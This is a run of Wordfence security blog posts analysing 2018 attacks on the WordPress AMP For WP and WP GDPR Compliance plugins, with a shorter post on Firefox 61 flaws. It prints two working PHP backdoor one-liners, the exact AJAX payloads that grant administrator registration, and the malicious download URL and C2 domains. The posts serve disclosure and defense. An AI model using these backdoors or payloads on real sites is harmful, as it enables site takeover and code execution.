Categories
Security

XSS Injection Campaign Exploits WordPress AMP Plugin

News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites. WordPress contributor Sybre Waaijer identified the security issue and confidentially disclosed it to the WordPress plugins team. To exploit the flaw, an attacker needs to have a minimum of subscriber-level access on a vulnerable site.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/11/xss-injection-campaign-exploits-wordpress-amp-plugin/

The Wordfence team has identified an XSS (cross-site scripting) campaign that is actively exploiting this security flaw. In the post below, we describe this sophisticated attack campaign in detail. It is critical that site owners using AMP For WP update to the most recent version of this plugin as soon as possible. At the time of writing, the newest version of AMP For WP is version 0.9.97.20.

The Wordfence firewall has a new rule that defends sites against this exploit. This rule has been released to Premium Wordfence customers and will be available for free customers 30 days after release. In addition, the Wordfence firewall has a generic XSS rule which has been available to free and Premium customers for over 2.5 years, which catches most exploits targeting this vulnerability.

In addition, the Wordfence team released malware signatures into production that detect the malware payloads that are being deposited on servers targeted in this attack. These are currently in production for Wordfence Premium customers.

The rest of this post documents the attack campaign that our team has identified, which is exploiting the recent vulnerability discovered in the AMP For WP plugin. The rest of this post is written for security operations teams, developers, vendors and other network defenders. It describes the attack chain and includes IOCs (indicators of compromise) that can be used to improve security products and harden firewalls and intrusion detection systems against this threat.

The Vulnerability

A number of individual security flaws were patched in the recent release of the plugin. The crux of the situation is an overall lack of capabilities checks associated with the plugin’s AJAX hooks. A user needs to have an active login session to make the necessary calls to the plugin and it does not matter what permissions that user has been granted on the impacted site.


The code above from install/index.php iterates over POST data without any capabilities checks.

The active exploits we have identified are leveraging this set of flaws to modify the plugin’s own options stored in the WordPress database.

Attacking The Admin

The most prevalent attacks against this vector attempt to inject the following XSS payload into the victim’s site content with the goal of affecting a logged-in administrator:

If an administrator’s browser executes the malicious JavaScript, it will source a larger payload from its command and control (C2) server at sslapis.com. This script, stat.js, contains a number of notable features.

The SendData() function above notifies the C2 server of any actions successfully executed by the malicious JavaScript

One area of concern is the processNewUser() function, which attempts to hijack the affected administrator’s browser session in order to register a new administrator account named supportuuser:

The processNewUser() function attempts to use a hidden iframe to execute the user registration process.

After creating a hidden iframe element on the page being viewed by the affected administrator, the script simulates the process of filling out the New User form. As part of this process it selects the Administrator role and sends a click() event to the submit button to create a new user with admin access.

In addition to the creation of a rogue administrator account, the script also attempts to inject backdoor code into an affected site’s plugins. This is accomplished similarly to the administrator creation above, with a hidden iframe appended to the page’s content and used to simulate an admin’s interactions with the Plugin areas of the dashboard.

The function defined above is used to inject malicious PHP into a site’s plugins.

The PHP backdoors injected into a site’s plugins are as follows:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);

@extract($_REQUEST);@die($cdate($adate));

Both of these backdoors are effective ways to allow an attacker to execute arbitrary PHP code on infected sites, even if the rogue administrator account mentioned above is successfully removed.

C2 Server

The command and control (C2) server for this campaign is currently located at sslapis.com. This host serves the live version of the JavaScript payload described above, as well as a script used to receive data from affected browser sessions. The domain itself was registered on November 2nd with the Ukrainian company ukrnames.com, but the server hosting the domain has been around longer, having been associated with an Apple phishing scam just over a year ago.

Coding Style

As you may have noticed from the screenshots above, the JavaScript file hosted on the C2 server contains a number of commented-out lines apparently used during development by the malware’s author to test various functions. Additionally, the JavaScript itself is uncommonly well-formatted as compared to other malware, where “uglified” or otherwise obfuscated code is the norm. This can change at any time because the script is hosted on the adversary’s server.

While attacks targeting this vulnerability are coming from an array of source addresses, a flaw in the execution of these attacks make them easily trackable. It is common for attack platforms to spoof the User-Agent string of a well known browser in an effort to make their traffic blend in with normal browsing activity. In this case however, the User-Agent string contained in these malicious requests is broken: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Note that in similar User-Agent strings, a version number follows “rv”. This suggests that the attacker intended to rotate or otherwise change the version number in the string programmatically. This broken User-Agent was found in all attacks associated with this adversary.

Indicators Of Compromise (IOCs)

Most Prevalent Attacking IPs

  1. 181.215.147.23
  2. 193.112.161.204
  3. 219.145.170.23
  4. 192.169.198.104
  5. 193.112.65.16
  6. 46.101.156.232
  7. 193.112.91.155
  8. 218.92.252.230
  9. 208.109.53.224
  10. 41.139.45.78

Outbound Domains Accessed

  • sslapis.com

Associated User-Agents

  • Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following example:
    • supportuuser
  • The presence of any unintentionally-introduced JavaScript in any wp_options entries associated with the AMP For WP plugin, which contain the string amp in the option_name field.

Conclusion

This malware campaign is an example of why a stored XSS vulnerability is a high priority issue. When an attacker is able to run their own JavaScript in the browser of a site’s administrator, there are a variety techniques they can employ to pivot further into a site. While the C2 domain in the case of this attack is very new and has yet to appear on the blacklists used by popular browser plugins like uBlock Origin, administrators of mission-critical sites might consider employing an untrusted-by-default model with browser extensions like NoScript.

We considered a content security policy (CSP) as possible mitigation of this attack, but the attacker could modify the XSS payload to be an inline version of the script loaded from the sslapis C2 server.

As always, the best defense against these attacks is to keep your site’s software up to date. AMP For WP’s security fix was available for nearly two weeks before these attacks began, hopefully placing a hard limit on the exploitable attack surface of this vulnerability.

For sites unable to update, or those which have not updated for any other reason, a rule has been added to the Wordfence firewall preventing these attacks. This rule is already in place on all Premium Wordfence users, and will be released to Free Wordfence users after 30 days. However, most attempts at exploiting this vulnerability happen to trigger a preexisting firewall rule built to block generic XSS payloads, and this rule has been protecting free Wordfence users for over 2.5 years. Our team has also released malware signatures into production to detect the malware being deposited on servers targeted in this attack.

Written by Mikey Veenstra with research assistance from Stephen Rees-Carter, James Yokobosky and Matt Barry. 

The post XSS Injection Campaign Exploits WordPress AMP Plugin appeared first on Wordfence.

Categories
Security

Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin

Earlier this week the WP GDPR Compliance plugin was briefly removed from the WordPress.org repository after the discovery of critical security issues impacting its users. In yesterday’s post, we provided some details regarding these issues and illustrated their severity. In the hours since that post was published, our team has continued tracking the adversaries seeking to exploit this new attack vector. Today, we’re sharing the findings of this extended research. This post is technical in nature and will be helpful for network defenders, developers and security researchers.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/11/trends-following-vulnerability-in-wp-gdpr-compliance-plugin/

For details regarding the vulnerability and its scope be sure to read yesterday’s post, Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild, before proceeding.

If you run a WordPress site and use this plugin, you should update to the newest version which fixes the vulnerability, or remove the old version of the plugin. The newest version of WP GDPR Compliance is version 1.4.3.

Two Notable Exploits

The data gathered by our malware scans, firewall activity, and site cleaning reports has revealed two primary types of exploit taking place. The first case, identified early in our research and mentioned in yesterday’s post, involves modifying user registration settings. The second case, caught and logged by the new firewall rule for this vulnerability, injects malicious scheduled actions to be executed by WP-Cron. Examples we have seen of both attack types have made use of backdoor scripts named wp-cache.php, though the contents of these backdoor files differ between the two methods.

Administrator Access via Modified Settings

The most common attempted attacks against this flaw at the time of this writing directly exploit the ability to modify arbitrary settings on affected sites. By enabling new user registration and changing the default role of new users to Administrator, attackers are able to simply create a new privileged user, then log in and take any actions on the newly compromised site.

Interestingly, automated attempts to perform this activity are also reversing the settings modifications being made. The following screenshot contains relevant access log entries for one such attack.

In this log, we first see a GET request to the site’s homepage. This first request is necessary to produce the “ajaxSecurity” nonce required by the plugin to perform AJAX actions. Next, two POST requests are made to /wp-admin/admin-ajax.php. Data stored in POST bodies is not seen in access logs, however in the course of our research we have been able to acquire samples of this data. The first two AJAX requests contain the following data:

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”users_can_register”,”value”:”1″}&security=[redacted]

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”default_role”,”value”:”administrator”}&security=[redacted]

In the first action, we see the attacker enabling the users_can_register option, which adds functionality to a site’s wp-login.php page allowing users to create new accounts. Next, the default_role option is set to ‘administrator’, meaning any new user registered to the site is automatically given full administrative access.

The next items in the access log show the attacker making a POST request to /wp-login.php?action=register, and the subsequent redirect to the “Registration complete. Please check your email” dialog.

Lastly, two more AJAX requests are made, containing the following instructions:

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”users_can_register”,”value”:”0″}&security=[redacted]

action=wpgdprc_process_action&data={“type”:”save_setting”,”append”:false,”option”:”default_role”,”value”:”subscriber”}&security=[redacted]

Here we can see the attacker actually reversing the configuration changes that allowed them to create an administrator account, first by disabling user registration then setting the default user role to “subscriber”. This serves to help prevent other attackers from creating their own administrator accounts, as well as reducing the likelihood that a site’s administrator will notice a problem. It closes the door behind the attacker.

Several hours after the new user is created, the attacker logs in to their new administrator account and can begin installing further backdoors. In our sample cases, we’ve seen attackers uploading a robust PHP webshell in a file named wp-cache.php. The image below is a screenshot of the shell user interface.

With a file manager, terminal emulator, and PHP eval features, a script like this on a site can allow an attacker to deploy further payloads at will.

Backdoor Installation via Injected Cron

The second type of exploit we’re seeing is less straightforward, and more difficult to identify at a glance. By injecting malicious actions into a site’s WP-Cron schedule, these attackers are able to install a persistent backdoor that can replace itself if removed. While a variety of malicious actions can be stored and executed via WP-Cron, the cases we have seen so far rely on the presence of another popular WordPress plugin, WooCommerce.

The following line contains a portion of an AJAX request body blocked by the Wordfence firewall for attempting to insert a malicious WP-Cron task:

“woocommerce_plugin_background_installer”:{“[redacted]”:{“schedule”:”hourly”,”args”:[“2mb-autocode”,{“repo-slug”:”2mb-autocode”}],”interval”:3600}}

This cron task attempts to use WooCommerce’s built-in woocommerce_plugin_background_installer action to install the 2MB Autocode plugin, which allows the injection of arbitrary PHP code into all posts on a site. The code to be injected is stored by 2MB Autocode as an option in the database, so the next step is to modify that setting using the same vulnerability:

{“type”:”save_setting”,”option”:”2mb_autocode_topstring”,”value”:”[malicious_php]”}

The [malicious_php] placeholder in the above example contains a PHP backdoor script which performs the following actions in sequence:

  1. Receive encoded input stored in the attacker’s request as an “HTTP_X_AUTH” header, which declares the locations used in the following steps.
  2. Make a request to http://pornmam[.]com/wp.php
  3. Decode the response and save the resulting PHP backdoor as wp-cache.php
  4. Include the core file /wp-admin/includes/file.php
  5. Deactivate and delete the 2MB Autocode plugin
  6. Clear the WP-Cron event associated with the attack
  7. Delete the 2mb_autocode_topstring option containing this code.

While the backdoor script seen in these cases shares the name wp-cache.php with other methods, the contents are much different. Instead of a self-contained web shell, this script contains some decoding functions and some execution syntax, but none of the executed payload is stored in the file. Instead, the payload to be decoded and executed is stored as a POST variable or in a cookie.

Without any captured requests to this script, we can’t know exactly what the intended behavior is. However, given the nature of the script and its eventual call to eval(), it’s to be expected that any arbitrary code can be executed by way of this backdoor.

No Mobilization Yet

In most infections, there will be one or more active methods in place to bring value of some form to the attacker. Whether an infected site is serving spam emails, hosting a phishing scam, or any other direct or indirect monetization, there’s often a clear goal identified as part of the triage process. However, despite the rapid occurrence of these identified cases, so far our research has only turned up backdoor scripts on sites impacted by this issue. No “end-stage” payloads intended to directly benefit an attacker have yet been associated with these attacks.

This behavior can mean a number of different things. It’s possible that these attackers are stockpiling infected hosts to be packaged and sold wholesale to another actor who has their own intentions. There’s also the chance that these attackers do have their own goals in mind, but haven’t launched that phase of the attack yet. In either case, sites impacted by these attacks should immediately work to identify and remove any backdoors present.

Indicators Of Compromise

The following section contains a series of IOCs (Indicators of Compromise) that can be used to assist in identifying and triaging cases similar to the ones in this report. Be advised that any common methods may be changed by the malicious actor at any time, especially as more attackers begin exploiting this vulnerability.

Most Prevalent Attacking IP Addresses

  • Admin Creation Method:
    • 109.234.39.250
    • 109.234.37.214
  • Cron Injection Method
    • 46.39.65.176
    • 195.123.213.91

Outbound Domains Accessed

  • pornmam.com

Malware Hashes

  • Admin Creation Method Backdoor
    • MD5: b6eba59622630b18235ba2d0ce4fcb65
    • SHA1: 577293e035cce3083f2fc68f684e014bf100faf3
  • Cron Injection Method Backdoor
    • MD5: c62180f0d626d92e29e83778605dd8be
    • SHA1: 83d9688605a948943b05df5c548bea6e1a7fe8da

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following examples:
    • t2trollherten
    • t3trollherten
  • An entry in your site’s options table with an option_name starting with 2mb_autocode (If not used intentionally)
  • The option default_role set to anything other than “subscriber” unless directly intentional.
  • The option users_can_register enabled unintentionally.

Installed Plugins

  • 2MB Autocode (If not used intentionally)

Conclusion

It is our hope that the details revealed by this research can be used to assist others in the security sphere to track and prevent these exploits. However, the attacks first seen following an impactful security disclosure can be considerably different than those seen in the weeks and months after. Given the scope of the vulnerability in question, it’s likely that more unique and sophisticated attack methods will be seen in the wild before long.

As always, we stress the importance of performing regular plugin updates to prevent these attacks from succeeding in the first place. The Wordfence plugin notifies administrators of outdated plugins automatically in order to help facilitate a quick response to potential vulnerabilities. In addition, the Wordfence Threat Intelligence team has released firewall rules and malware signatures to our premium customers in real-time to protect against this exploit and detect the indicators of compromise associated with the attack.

Written by Mikey Veenstra with contributions from Stephen Rees-Carter and Marco Wotschka. Edited by Mark Maunder. 

The post Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin appeared first on Wordfence.

Categories
Security

Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild

After its removal from the WordPress plugin repository yesterday, the popular plugin WP GDPR Compliance released version 1.4.3, an update which patched multiple critical vulnerabilities. At the time of this writing, the plugin has been reinstated in the WordPress repository and has over 100,000 active installs. The reported vulnerabilities allow unauthenticated attackers to achieve privilege escalation, allowing them to further infect vulnerable sites. Any sites making use of this plugin should make it an immediate priority to update to the latest version, or deactivate and remove it if updates are not possible.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/

The Vulnerability

In typical use, the plugin handles a few types of actions which can be submitted via WordPress’s admin-ajax.php functionality. These actions include making the sort of data access requests and deletion requests required by GDPR, but also includes functionality for changing the plugin’s settings from within the WordPress admin dashboard.

However, unpatched versions of WP GDPR Compliance (up to and including version 1.4.2) fail to do capability checks when executing its internal action save_setting to make such configuration changes. If a malicious user submits arbitrary options and values to this endpoint, the input fields will be stored in the options table of the affected site’s database.

In addition to the storage of arbitrary options values, the plugin performs a do_action() call using the provided option name and value, which can be used by attackers to trigger arbitrary WordPress actions.

Disclosures of this flaw have been reporting it as two distinct vulnerabilities: first the arbitrary options update and second the arbitrary action calls, but with both potential exploits living in the same block of code and executed with the same payload, we’re treating this as a single privilege escalation vulnerability.

Exploits In The Wild

We’ve already begun seeing cases of live sites infected through this attack vector. In these cases, the ability to update arbitrary options values is being used to install new administrator accounts onto the impacted sites.

By leveraging this flaw to set the users_can_register option to 1, and changing the default_role of new users to “administrator”, attackers can simply fill out the form at /wp-login.php?action=register and immediately access a privileged account. From this point, they can change these options back to normal and install a malicious plugin or theme containing a web shell or other malware to further infect the victim site.

In several of the cases we’ve triaged since the disclosure of this vulnerability, we’ve seen malicious administrator accounts present with the variations of the username t2trollherten. This intrusion vector has also been associated with uploaded webshells named wp-cache.php. While these are common IOCs (Indicators of Compromise), these exploits are of course subject to change as attacks grow in sophistication.

Conclusion

Until the patch was released yesterday, more then a hundred thousand WordPress sites using the WP GDPR Compliance plugin were vulnerable to this type of attack. It is of critical importance that any site using this plugin performs the update as soon as possible.

At this time, the Wordfence Threat Intelligence team has released a new firewall rule preventing exploitation of this flaw for all premium users. Users of the free version of Wordfence will receive the new rule following a thirty-day delay, but as always they can protect themselves by updating their site’s plugins.

If you believe your site has been impacted by this vulnerability, please do not hesitate to reach out to our site cleaning team to begin the remediation process. Also, please consider sharing this post with your peers to improve awareness of this issue.

The post Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild appeared first on Wordfence.

Categories
Security

PSA: Multiple Vulnerabilities Present In Firefox 61

In an advisory published yesterday, Mozilla disclosed the presence of nine security flaws in Firefox 61 which have been patched in the latest release of the browser. Some of the bugs are severe, but at this time do not appear to be receiving attacks in the wild. To protect yourself as a Firefox user, ensure that you have updated Firefox to the latest version as soon as possible. To do this, click the ‘Firefox‘ menu and ‘About Firefox‘. The browser will check for an update automatically and will download the update if available. You will then be prompted to ‘Restart to update Firefox

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/09/psa-multiple-vulnerabilities-present-in-firefox-61/

In the remainder of this post, we will take a closer look at some of the notable bugs from yesterday’s update and the types of vulnerabilities they contain. To help secure the broader web community, we would like to encourage you to let your friends, family and colleagues know that they should update Firefox as soon as possible. Either share this post or drop them a helpful note.

Though the amount of detail available on each bug varies, Mozilla’s advisories contain brief descriptions and impact scores of disclosed issues. Five of the nine vulnerabilities were assigned scores of Low and Moderate and the remaining four items have been determined to be of High or Critical impact.

The Bugzilla entries for these higher-severity bugs are all private at the time of this writing, most likely to limit the spread of details on the exploitability of these flaws while the Firefox user base collectively updates their browsers.

Use-After-Free Flaws

Two bugs marked high-impact in Mozilla’s advisory, CVE-2018-12377 and CVE-2018-12378, pertain to use-after-free vulnerabilities. This type of bug exists when an application can be made to attempt to reference data stored in memory which has already been freed. In other words, in certain cases a program can be made to crash or behave abnormally if it attempts to recall information it’s already been told to forget. The “abnormal behavior” can depend on how exactly the issue was triggered in the first place, as well as what new data may have replaced whatever the application attempted to load.

In the case of these two Firefox bugs, the advisory specifies the existence of a “potentially exploitable crash”, which is common for this sort of vulnerability. No mention was made of possible remote code execution, another possible consequence of use-after-free flaws, suggesting that particular vector is not present in these cases.

Memory Safety Bugs

The other two notable issues, CVE-2018-12375 and CVE-2018-12376 (marked High and Critical-impact, respectively), have been labeled memory safety bugs. Memory safety is a fairly wide umbrella term, potentially referring to classes of vulnerability like race conditions, buffer overflows, and more, so the scope of these vulnerabilities remains to be seen. However, Mozilla’s details in the advisory entries on both of these CVEs state “Some of these bugs showed evidence of memory corruption and we presume that with enough effort that some of these could be exploited to run arbitrary code.”

Patching Against The Theoretical

Mozilla’s statement, that they “presume” the reported memory safety bugs “could” be used to run code “with enough effort”, is an important one. Mind you, it’s not necessarily an uncommon mindset to have, but it’s worth bringing attention to it when it comes up. Patching a vulnerability that may not be feasibly exploited today is still critical in an age where technologies and techniques advance so rapidly.

This concept is of historical note, specifically in the example of CVE-2016-5195, better known as Dirty COW. Dirty COW (short for Dirty Copy-On-Write), was a major vulnerability in the Linux kernel publicly disclosed in 2017. The flaw allowed attackers with low-privilege access (such as a PHP web shell or even an unrooted Android device) to temporarily overwrite protected system files allowing a privilege escalation, up to and including root access to the affected system.

Dirty COW’s relevance in this case stems from the fact that the flaw was actually identified and patched eleven years prior, before being reverted due to compatibility issues. In a commit message from 2016, Linus Torvalds stated “…what used a purely theoretical race back then has become easier to trigger,” referring to the race condition flaw that allows Dirty COW to be exploited. Put simply, when it was discovered it would have been arbitrarily unfeasible to successfully perform the exploit on existing hardware. Thus, it was deemed low-severity enough to get buried for over a decade.

Mozilla’s decision, and similar choices made by security-conscious developers every day, benefit the community by reinforcing the mindset that a theoretical vulnerability is a vulnerability nonetheless.

What Now?

Information overload aside, these aren’t issues worth worrying about for most Firefox users. As usual, performing the update (if yours hasn’t automatically patched by now) is all it takes to protect yourself from these issues. With that in mind, please take a moment to make sure your peers are aware of bugs like these. Poke your friends and coworkers and nag them to click that update button, or just share this post with them. Either way, you’ll be doing your part to make them more secure.

The post PSA: Multiple Vulnerabilities Present In Firefox 61 appeared first on Wordfence.